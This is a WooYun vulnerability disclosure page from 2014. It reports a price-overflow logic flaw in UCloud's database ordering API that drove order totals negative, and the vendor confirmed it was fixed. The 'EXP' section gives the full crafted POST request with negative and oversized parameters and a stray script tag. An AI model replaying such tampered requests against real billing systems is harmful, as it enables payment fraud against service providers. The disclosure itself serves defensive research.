当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-048668

漏洞标题：UCloud 一处价格计算越界溢出 支付金额变负数

相关厂商：UCloud

漏洞作者： 猪猪侠

提交时间：2014-01-12 16:04

修复时间：2014-02-26 16:05

公开时间：2014-02-26 16:05

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-12： 细节已通知厂商并且等待厂商处理中
2014-01-13： 厂商已经确认，细节仅向厂商公开
2014-01-23： 细节向核心白帽子及相关领域专家公开
2014-02-02： 细节向普通白帽子公开
2014-02-12： 细节向实习白帽子公开
2014-02-26： 细节向公众公开

简要描述：

UCloud 一处价格越界溢出 支付金额变负数
估计数值长度到一个极限就变成负数了。。。
订单金额: -9.2233720368548E+16 元

详细说明：

#1 问题描述
由于在创建UDB填写服务器参数时，服务器未严格校验来自客户端提交的订单参数。
#2 利用EXP

POST /api/udb/order HTTP/1.1
Host: udb.ucloud.cn
Connection: keep-alive
Content-Length: 531
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://udb.ucloud.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://udb.ucloud.cn/udb/create
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: payPlatform=10; bankId=null; tgt=TGC-1389447761r7A9276B24828D2D89F; PHPSESSID=ST-1389511532r78DC60BB54410D4F5F; __utma=242209926.1025238294.1383140674.1389507331.1389511500.46; __utmb=242209926.5.10.1389511500; __utmc=242209926; __utmz=242209926.1383186629.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); Hm_lvt_62f4f23a826efd41750a4479e4cb2491=1387715471,1388750071,1389411748; Hm_lpvt_62f4f23a826efd41750a4479e4cb2491=1389511784
db_type_id=-1&param_group_id=-1&instance_name=dtest123<script>&admin_user=root&admin_password=DDee33%40%40&port=3306&backup_id=&backup_name=&backup_count=-7&backup_begintime=-3&backup_duration=-24&quantity=-1&charge_type=3&count=1&memory_limit=1&disk_space=9999999&region_name=%E5%8C%97%E4%BA%ACBGP+A&selected=false&disabled=false&display=true&id=3&name=%E4%B8%AD1%E5%9E%8B&db_type_name=mysql5.5&param_group_name=mysql5.5%E5%B0%8F%E5%9E%8B%E9%BB%98%E8%AE%A4%E9%85%8D%E7%BD%AExxx&use_session=yes&format=json&region_id=1001&zone_id=1

漏洞证明：

ucloud_new_order.jpg

修复方案：

# 服务端做严格判断
~! 我是用正常用户做的测试，请别封号呀，里面还有我自己的余额的！

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2014-01-13 22:40

厂商回复：

感谢！已经修复

最新状态：

暂无

漏洞评价：

评论

  1. 2014-01-12 16:17 | 233 ( 路人 | Rank:14 漏洞数:4 | 小孩子看了根本把持不住)

    连载的节奏。。

  2. 2014-01-12 18:43 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    int么。。

  3. 2014-01-12 20:18 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    云安全啊。

  4. 2014-01-12 20:54 | gm100861 ( 路人 | Rank:1 漏洞数:2 | http://www.gm100861.com/)

    牛叉啊，关注！

  5. 2014-01-14 08:38 | 0.0 ( 路人 | Rank:16 漏洞数:9 )

    mark

  6. 2014-01-20 22:12 | 病狗 ( 路人 | Rank:0 漏洞数:2 | www.wooyun.org)

    负数，倒找钱吗

  7. 2014-02-26 19:32 | 乌云 ( 实习白帽子 | Rank:66 漏洞数:14 | a)

    我靠，，，我朝思暮想的方法终于看到实例了！！！